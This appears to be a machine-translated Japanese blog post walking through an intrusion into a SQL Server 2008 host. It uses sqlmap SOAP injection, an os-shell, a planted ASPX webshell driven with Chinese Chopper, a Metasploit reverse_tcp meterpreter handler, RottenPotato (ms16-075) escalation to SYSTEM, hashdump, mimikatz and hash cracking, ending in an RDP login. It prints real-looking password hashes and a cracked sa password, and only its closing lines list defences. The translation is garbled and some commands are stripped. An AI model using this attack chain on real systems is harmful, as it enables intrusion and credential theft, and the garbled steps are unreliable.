ホームページ >運用・保守 >安全性 >SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

PHPz
PHPz転載
2023-05-11 21:25:041889ブラウズ

実際に成功した侵入プロセスでは、脆弱性の悪用は複数の技術の統合、最新技術の実践であり、この侵入では sqlmap を使用して注入ポイントを確認し、sqlmap を通じて Web シェルを取得し、msf を組み合わせて ms16 を実行します。 -075 権限を昇格し、最終的にターゲット サーバーのシステム権限を取得します。この記事は脆弱性悪用の新たな拡張であり、従来の Nday 特権昇格が失敗した場合、ms16-075 で特権昇格が成功した典型的なケースが msf と組み合わされます。

1.1.1 ソープ インジェクションの脆弱性のスキャン

1. awvs の Web サービス スキャナーを使用して脆弱性をスキャンします。awvs を開いて、スキャンする Web サービス スキャナーを選択します。図に示すように、脆弱性の場合は、1 に示すように、wsdl の URL にターゲット URL アドレスを入力します。asmx?wsdl である必要があることに注意してください。asmx ファイルを含むものもあります。そうでない場合は、たとえば、直接入力できます。 : http://1**.***.***.***:8081/?wsdl。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 1 SOAP インジェクション脆弱性スキャンの実行

2. SQL ブラインド インジェクションの処理

合格Awvs は、URL アドレスに SQL ブラインド インジェクション (26 か所) があることをスキャンして確認します。awvs で、右側の「http ヘッダーの表示」をクリックし、その内容をテキスト ファイルにコピーし、脆弱なステートメントを同時に処理します。例 例:

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法
赤色のテキスト部分を「-1*」に置き換える必要があります。

3. 完全なヘッダー パッケージには次のコンテンツが含まれています:

POST /Service1.asmx HTTP/1.1

Content-Type: text/xml

SOAPAction : "http://tempuri.org/ZcpdList"

Content-Length: 716

XX-Requested-With: XMLHttpRequest

Referer: http://1 * *.***.***.***:8081/?wsdl

ホスト: 1**.***.***.***:8081

接続 : キープアライブ

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML、Gecko など) Chrome/41.0 .2228.0 Safari/537.21

受け入れ: */*

< soap-env:body>

:string>

<</soap-env:envelope>

Response

1.1.2 SOAP インジェクション脆弱性の確認

1. sqlmap を使用して SQL インジェクション脆弱性があるかどうかを検出し、前のヘッダーを追加して内容を 1**.***.***.***.txt として保存します。 、sqlmap.py プログラムが配置されているディレクトリにファイルをコピーし、コマンド sqlmap.py -r 1**.***. ***.***.txt を実行し、sqlmap によって要求された情報を確認します。 :

カスタム インジェクション マーカー ('*') がオプション '--data' で見つかりました。処理しますか? [Y/n/q] [color=Red]y[/color ]

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color= Red]y[/color]

図に示すように2、sqlmap は SQL インジェクションの脆弱性が存在することを確認します。データベース サーバーは Windows 2008 R2、データベースのバージョンは SQL Server 2008、SOAP の脆弱性はユニオン クエリです。


図 2 ソープインジェクションの脆弱性がある

2. データベースに dba 権限があるか確認する (1) パラメータを自動的に送信する図に示すようにテスト用に使用します。 3 に示すように、コマンド sqlmap.py -r 1**.***.***.***.txt --is-dba --batch を実行した後、次のコマンドが必要です。 yを2回確認すると、パラメータが「バッチ」で使用されるため、sqlmapが自動的に判定値を送信します。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法
図 3 判定用パラメータの自動送信

(2) 現在のデータベースで使用しているユーザーの dba アカウントを取得します。図 4 に示すように、現在のユーザーは sqlmap の dba であり、表示された結果は true です。この結果は、データベースが sa 権限を使用しており、Web シェルが os-shell パラメータを通じて取得できることを示しています。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法
図 4 それが dba アカウントであるかどうかを判断します

3. sa アカウントのパスワードを取得する

図 5 に示すように、コマンド sqlmap.py -r 1**.***.***.***.txt --password を使用します。 -- バッチは、データベースに接続されているすべてのアカウントに対応するパスワード値を直接取得します。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 5 sa アカウントのパスワードを取得します

4. sa アカウントのパスワードをクラックする データベース パスワード ハッシュ値は、以前に sqlmap を通じて正常に取得されました:

MS_PolicyEventProcessingLogin## [1]:

パスワード ハッシュ: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTs qlExecutionLogin ## [1]:

パスワード ハッシュ: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:

パスワード ハッシュ: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d 2de629 7e28 www.cmd5.com の sa に対応するパスワード値「0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28」をクエリします。復号結果は「qaz123WSX」です。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 6 復号化された sa パスワード ハッシュ値

1.1.3 --os-shell1 を介して webshel​​l を取得します。sqlmap で os-shell を取得します。コマンド: sqlmap.py -r 1**.***.***.***.txt --os-shell、sqlmap 実行ウィンドウの情報を確認します:


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

手動なしで sqlmap.py -r 1**.***.***.***.txt --os-shell --batch コマンドを実行することもできます。入力。

2. Web プログラムが配置されているディレクトリを検索します

(1) ファイルとディレクトリを表示します

dir c:\ コマンドを実行すると、c ファイルとディレクトリを表示できます。ディレクトリとファイルを参照し、図 7 に示すように「 dir c:\inetpub\wwwroot」の表示を続けます。このフォルダには Web プログラムがないため、このディレクトリを除外します。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 7 ファイルとディレクトリの表示

(2) Web サイトの実際のディレクトリを取得します。c、d、e、f を表示します。図 8 に示すように、e ドライブから疑わしい Web サイトのプログラム ファイルを取得し、コマンド dir e:\software\AMS_NoFlow を使用します。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 8 Web サイト ファイルの表示

3. Web サイトの実際のディレクトリをテストします

(1)ファイル テストの生成 図 9 に示すように、echo コマンド: echo "thisis test">e:\software\AMS_NoFlow\t.txt を使用して、Web サイトのルート ディレクトリに t.txt ファイルを生成します。内容はthisisテストです。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 9 生成されたファイル

(2) Web サイトへのアクセステスト

ブラウザにアドレス http:// を入力します1**.***.***.***/1.txt (テスト用)。図 10 に示すように、取得されたコンテンツは期待と一致しています。このディレクトリは Web サイトの実際の物理アドレスです。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 10 Web サイトへのアクセス テスト

4. web.config 構成ファイルの内容を取得します

OS の場合 - シェルで type e:\software\AMS_NoFlow\web.config コマンドを実行して、web.config ファイルの内容を表示します。sqlmap コマンド ウィンドウでは、設定の問題により、表示できない場合がありますログ ファイルを開くと、sa アカウントに対応するパスワードが qaz123WSX であることがわかります。これは、前にクラックされた sa パスワードと一致しています。 。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 11 web.config 構成ファイルの内容の表示

5. IP アドレス情報の取得

図のように、12のようにos-shellでipconfigコマンドを実行すると、ターゲットのIPアドレス構成を取得でき、ターゲットには独立した外部ネットワークIPアドレスと内部IPアドレスが設定されています。 os-shell で他のコマンドを実行します。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

#図 12 IP アドレスの取得

6. Web シェル テストの取得

#(1) シェル ファイルの生成

os-shell でコマンドを実行します:

echo ^^ > e:\software\AMS_NoFlow\cmd.aspx


図 13 に示すように、エコー結果には 1 が表示され、その他の情報は表示されません。これは、ファイル生成コマンドが成功。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法
図 13 Web シェルの生成

(2) Web シェルの取得 Chinese Chopper バックドア管理ツールを使用してレコード http://1**.***.***.***/cmd.aspx を作成します。バックドアのパスワードは次のとおりです: pass,図14に示すように、接続が成功し、Webシェルが正常に取得されました。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 14 Web シェルの取得

1.1.4 従来の方法では権限を昇格できませんでした

1. システムの生成情報ファイル os-shell でコマンドを実行します:

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

#2. Windows-Exploit-Suggester プログラムをダウンロードします Windows-Exploit-Suggester のダウンロード アドレス: https:// github.com/GDSSecurity/Windows-Exploit-Suggester/

3. 脆弱性ライブラリを更新して脆弱性を比較します。Python で windows-exploit-suggester.py -u を実行して、脆弱性ライブラリを更新して比較します: windows -exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt (図 15 を参照)。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 15 の脆弱性の比較

4. 脆弱性の状況を確認する C:\Python27 で SYD1-0081DSB-day を開きます。プログラムがオペレーティング システムが Windows 2008 R2 バージョンであると判断し、複数の脆弱性が存在することがわかります (最新の脆弱性は ms16-075)。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 16 脆弱性ステータスの表示

5. 既存の脆弱性に対して権限昇格テストを実行し、脆弱性番号に従ってエクスプロイトを見つけて整理します。 . ファイルに対して、ターゲット サーバーで特権昇格テストを実行します。ms16-075exp を除くすべてのテストは失敗し、特権昇格を実行できません。

1.1.5 msf を使用して ms16-075 権限を昇格する

1. msf を使用してリバウンド トロイの木馬を生成する

msf の下のコマンドを実行します:


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

windows/meterpreter/reverse_tcp リバウンド ポート タイプ、lhost はリバウンド接続のサーバー IP アドレスです。IP アドレスは独立したサーバーであるか、外部ネットワーク ポート マッピング 変更 つまり、バウンスを受信する必要があり、lport はバウンス ポート、4433 は生成されたプログラムです。

2. リスニング サーバーでリスニング コマンドを実行します

(1) msf

msfconsole

(2) メータープリッターのパラメーターを構成します


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

3. 4433.exe プログラムをターゲット サーバーにアップロードして実行します

4433.exe ファイルをターゲット サーバーにアップロードして使用します実行用のチャイニーズカラーナイフまたはosシェル。

4. システム情報の表示

図 17 に示すように、ターゲットはリスニング サーバーにバウンスし、sysinfo を実行して、システム情報を取得します。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 17 システム情報の取得

5. meterpreter の組み込み権限昇格機能の使用の失敗

meterpreter 図 18 に示すように、getuid および getsystem コマンドは、権限を正常に昇格できませんでした。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

#図 18 デフォルトのメータープリッターを使用した権限昇格の失敗

#6. ms16-075 を使用して権限を昇格させます

(1) ms16-075 は exp を使用してダウンロードできます https://github.com/foxglovesec/RottenPotato

(2) ポテト ファイルをアップロードします

Web シェル経由で Potato.exe ファイルをアップロードします。または msf で次のコマンドを実行してアップロードします。 Upload /root/potato.exe

(3) システム権限を取得し、次のコマンドを順番に実行します。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法
図 19 に示すように、システム権限が正常に取得されました。

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法
図 19 システム権限トークンの取得

(4) システム権限を取得し、コマンドをそれぞれ実行します。

##図 20 に示すように、システム権限が正常に取得されました。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 20 システム権限の取得


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法 (5) パスワードの取得

meterpreter でコマンドを実行します。図 21 に示すように、hashdump コマンドを実行すると、サーバー パスワードのハッシュ値が正常に取得されます: Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

#図 21 パスワードの取得


この例では、平文パスワードを取得するためにまだload mimikatzが使用されていますが、取得効果は理想的ではありません。コマンドkerberos、livesp、msvを実行します。 、 ssp、 tspkg 、 wdigest ではクリア テキストのパスワードを取得できません。コマンド mimikatz_command を実行して、mimikatz コマンド プロンプトに入って操作することもできます。


(6) ntml パスワードをクラックする ntml パスワードのハッシュ値 a59a64a645487c1581dea603253c7920 をクラック用に cmd5.com にコピーします。cmd5 は有料ですが、http://www.objectif-securite にアクセスすることもできます。 ch/en/ophcrack.php および https://www.somd5.com/ Web サイトにアクセスしてパスワードを解析すると、図 22 に示すように、パスワードは正常に解析されました。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

図 22 ntlm ハッシュ値をクラックする

7. nmap -sS -Pn -A 1 を使用してサーバーにログインします。 **. ***.***.*** または Masscan -p 1-65535 1**.***.***.*** ポート スキャンを実行すると、サーバーがポート 3389 を開いていることがわかります。 mstsc を使用してログインします。図 23 に示すように、サーバーに正常にログインしました。


SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法
#図 23 サーバーへのログイン成功

1.1.6 要約と防御策

1. メイン侵入の目的 コマンド概要


(1) sqlmap実行コマンド

SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法## (2) os-shellでの実行コマンド

ipconfigdir c:/echo "thisis test">e:\software\AMS_NoFlow\t.txtecho ^^ > e:\software\AMS_NoFlow\cmd.aspx


(3) msf でコマンドを実行し、リバウンド型トロイの木馬を生成します。 :

(4) msf の起動と監視SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

msfconsoleuseexploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33 (実際には外部 IP アドレス) set LPORT 4433exploit


(5)ms16-075 権限昇格コマンド

use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_token "NT AUTHORITY\ \SYSTEM"getuid


(6) パスワードを取得します hashdump

(7) mimikatz を実行してパスワードを取得します

load mimikatzkerberos、livesp、msv、ssp、tspkg、wdigest (各コマンドを 1 つずつテストします。一部のコマンドはプレーン テキストのパスワードを表示します) mimikatz_command: mimikatz コマンド プロンプト ウィンドウ

(8) 以下のパスワードを取得します。 mimikatz コマンド ライン (未テスト)

2. 侵入の概要 SQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法

この侵入では、石鹸注入テストが sqlmap を通じて実行され、 SQL インジェクション ポイントは sqlmap を通じて利用できると判断され、その後の成功は os-shell によって取得された WebShell によって行われました。 Webシェルを取得後、従来のNday方式で権限昇格を試みましたが失敗したため、msfを使用してms16-075と連携して権限昇格を行いました。 Windows-Exploit-Suggester は引き続きローカルの脆弱性を特定してテストすることができ、監査を通じて最新の脆弱性が権限昇格に使用されており、基本的なヒット率は 99% です。

3. セキュリティ防御

サーバーへの侵入に成功した後、サーバー上にセキュリティ保護ソフトウェアが見つかりませんでした。経験に基づいて、著者は次のセキュリティ防御を推奨します。
(1) SOAP パラメーターをフィルターし、SQL インジェクションにつながる危険なパラメーターをフィルターします。

(2) mssql データベースは、データベース接続に低い特権のユーザーを使用します。


(3) サーバーには定期的にパッチが適用され、アップグレードされます。


(4) ウイルス対策ソフトウェア、WAF、およびハードウェア ファイアウォールをインストールして、攻撃のコストと難易度を高めます

以上がSQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。